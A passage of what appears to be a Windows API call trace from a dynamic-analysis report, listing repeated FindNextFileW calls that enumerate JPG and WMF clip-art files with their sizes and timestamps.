ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8379, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145168.JPG", cAlternateFileName="")) returned 1 [0253.900] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf0c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145212.JPG", cAlternateFileName="")) returned 1 [0253.900] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc056, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145272.JPG", cAlternateFileName="")) returned 1 [0253.900] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5285, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145361.JPG", cAlternateFileName="")) returned 1 [0253.900] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c5e300, ftCreationTime.dwHighDateTime=0x1bdbf70, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5c5e300, ftLastWriteTime.dwHighDateTime=0x1bdbf70, nFileSizeHigh=0x0, nFileSizeLow=0x45cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145373.JPG", cAlternateFileName="")) returned 1 [0253.900] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a35900, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a35900, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x7c6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145669.JPG", cAlternateFileName="")) returned 1 [0253.900] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a05b300, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a05b300, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x8fd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145707.JPG", cAlternateFileName="")) returned 1 [0253.901] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50dbc900, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50dbc900, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x8fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145810.JPG", cAlternateFileName="")) returned 1 [0253.901] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5d84e00, ftCreationTime.dwHighDateTime=0x1c026b6, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5d84e00, ftLastWriteTime.dwHighDateTime=0x1c026b6, nFileSizeHigh=0x0, nFileSizeLow=0x8a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145879.JPG", cAlternateFileName="")) returned 1 [0253.901] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7962500, ftCreationTime.dwHighDateTime=0x1c03d89, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7962500, ftLastWriteTime.dwHighDateTime=0x1c03d89, nFileSizeHigh=0x0, nFileSizeLow=0x84a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145895.JPG", cAlternateFileName="")) returned 1 [0253.901] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912cb00, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa912cb00, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x9a76, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145904.JPG", cAlternateFileName="")) returned 1 [0253.901] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0146142.JPG", cAlternateFileName="")) returned 1 [0253.901] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaa9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0148309.JPG", cAlternateFileName="")) returned 1 [0253.902] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x107d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0148757.JPG", cAlternateFileName="")) returned 1 [0253.902] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x955d, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0148798.JPG", cAlternateFileName="")) returned 1 [0253.902] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6b01, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149018.JPG", cAlternateFileName="")) returned 1 [0253.902] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xfd22, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149118.JPG", cAlternateFileName="")) returned 1 [0253.903] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb544, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0150150.WMF", cAlternateFileName="")) returned 1 [0253.903] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x212e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0150861.WMF", cAlternateFileName="")) returned 1 [0253.903] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1104, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151041.WMF", cAlternateFileName="")) returned 1 [0253.903] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c68, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151045.WMF", cAlternateFileName="")) returned 1 [0253.903] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4844, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151047.WMF", cAlternateFileName="")) returned 1 [0253.904] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3928, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151055.WMF", cAlternateFileName="")) returned 1 [0254.126] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151061.WMF", cAlternateFileName="")) returned 1 [0254.126] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151063.WMF", cAlternateFileName="")) returned 1 [0254.126] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3394, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151067.WMF", cAlternateFileName="")) returned 1 [0254.126] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3418, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151073.WMF", cAlternateFileName="")) returned 1 [0254.126] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151581.WMF", cAlternateFileName="")) returned 1 [0254.127] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x610c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152414.WMF", cAlternateFileName="")) returned 1 [0254.127] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152430.WMF", cAlternateFileName="")) returned 1 [0254.127] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x406c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152432.WMF", cAlternateFileName="")) returned 1 [0254.127] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152436.WMF", cAlternateFileName="")) returned 1 [0254.127] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4030, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152556.WMF", cAlternateFileName="")) returned 1 [0254.128] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3eb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152558.WMF", cAlternateFileName="")) returned 1 [0254.128] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a80, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152560.WMF", cAlternateFileName="")) returned 1 [0254.128] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe70, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152568.WMF", cAlternateFileName="")) returned 1 [0254.128] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd28, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152570.WMF", cAlternateFileName="")) returned 1 [0254.128] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ab4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152590.WMF", cAlternateFileName="")) returned 1 [0254.129] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152594.WMF", cAlternateFileName="")) returned 1 [0254.129] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2628, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152600.WMF", cAlternateFileName="")) returned 1 [0254.129] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1884, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152602.WMF", cAlternateFileName="")) returned 1 [0254.129] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x40f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152606.WMF", cAlternateFileName="")) returned 1 [0254.129] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3094, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152608.WMF", cAlternateFileName="")) returned 1 [0254.129] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1748, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152610.WMF", cAlternateFileName="")) returned 1 [0254.130] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2584, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152622.WMF", cAlternateFileName="")) returned 1 [0254.130] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6688, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152626.WMF", cAlternateFileName="")) returned 1 [0254.130] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x785c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152628.WMF", cAlternateFileName="")) returned 1 [0254.130] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, 